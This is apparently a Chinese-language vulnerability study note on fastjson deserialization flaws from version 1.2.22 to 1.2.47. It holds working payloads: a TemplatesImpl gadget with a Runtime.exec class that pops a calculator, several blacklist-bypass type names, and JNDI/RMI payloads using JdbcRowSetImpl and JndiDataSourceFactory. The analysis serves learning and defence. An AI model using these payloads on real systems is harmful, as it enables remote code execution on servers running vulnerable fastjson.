fastjson反序列化
环境搭建
-
openjdk version "1.8.0_302" -
创建maven项目,之后方便修改版本
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.22</version>
</dependency>
漏洞分析
反序列化过程
先写两个demo看看fastjson能干啥
//部分代码
//序列化 SerializerFeature.WriteClassName -> @type
String js = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(js+line);
/*
getAge
getName
{"@type":"demo.User","age":18,"name":"b1ank"}
*/
//parse
Object obj2 = JSON.parse(js);
System.out.println(obj2.getClass().getName()+line);
/*
setAge
setName
demo.User
*/
//parseObject
Object obj3 = JSON.parseObject(js);
System.out.println(obj3.getClass().getName());
Object obj4 = JSON.parseObject(js,User.class);
System.out.println(obj4.getClass().getName());
/*
setAge
setName
getAge
getName
com.alibaba.fastjson.JSONObject
setAge
setName
demo.User
*/
可见,序列化的时候会执行getter方法
有@type属性的情况下:
-
parse返回User,并且会调用setter方法 -
parseObject返回JSONObject,并且调用setter和getter方法
TemplatesImp利用链
在JSON.parseObject(payload,Feature.SupportNonPublicField);下断点,不断跟进可以发现是在对json字符串做一些解析,像{ ,"等符号
在到DefaultJSONParser.parseObject()时,发现解析出了@type

符合if条件就成功加载了实现构造好的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

再往下走就是对传入的类进行反序列化

跟进,在key="_bytecodes"并且路过了多个if判断之后,和parser一起被带入到了parseField里

这里的“智能匹配”会将传入的key做一些处理,比如将开头的 _ 删除
key2 = key.replaceAll("_", "");

之后parser、_bytecode等payload相关被带入parseField

跟进去可以看到base64解码的过程

恶意类在这里被取出并且带到了setValue当中,将value赋值到目的类当中

之后也会在setValue这里调用getOutputProperties

在com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java的getOutputProperties下个断点
return newTransformer().getOutputProperties();
贴一下poc
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["xxx"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
_name不为空就调用defineTransletClasses()

跟进,_tfactory不能为空

看到在加载_bytecode了

判断是否继承自AbstractTranslet

之后就是实例化了
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
贴一下恶意类
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Temp extends AbstractTranslet {
public Temp() throws IOException {
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Temp t = new Temp();
}
}
fastjson1.2.41
TypeUtils.loadClass变成checkAutoType,跟进发现黑名单其中包括com.sun

跟了几遍发现没开启AutoTypeSupport的情况下最后都会抛出异常


所以后面都设置开启
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
loadClass里对Lxxxxx;这种类名做一个掐头去尾,所以将类名改为Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;来 绕过黑名单

看到上面还有一个if,payload改成[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl试试

根据报错添加字符

再加,成功弹计算器,最终payload为
{"@type":"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"[{,"_byte……
fastjson1.2.42
checkAutoType里面增加了个奇怪的掐头去尾,测试一下发现也是去掉L和;

public class TestL {
public static void main(String[] args) {
String className = "Ljust test;";
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
className = className.substring(1, className.length() - 1);
System.out.println(className);
}
}
}
//just test
原来的明文黑名单变成了hash

所以用LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;来绕过
fastjson1.2.43
checkAutoType又加了个if,发现是判断LL开头
for (int i=0;i<256;i++){
for (int j=0;j<256;j++){
if (((-3750763034362895579L ^ (long)i) * 1099511628211L ^ (long)j) * 1099511628211L == 655656408941810501L) {
System.out.println((char) i+" "+(char) j);
}
}
}
//output: L L
用带[的payload可绕过
fastjson1.2.45
这次变为判断是否为[ 或者L和;开头

用不在黑名单里的类绕过
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}

fastjson1.2.47
这次用java.lang.Class绕黑名单
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}
com.alibaba.fastjson.serializer.MiscCodec#deserialze当中会对传入的val做判断,所以进行loadClass。如果传入的为InetAddress等类的话,会对域名做解析(dnslog)

cache为True的时候放入mapping,可以看到默认为true,然后就是下一轮checkAutoType


进黑名单的ifyou两个条件,因为事先放进了mapping,所以不会抛出异常。并且会将恶意类赋给clazz,之后就是弹计算器了
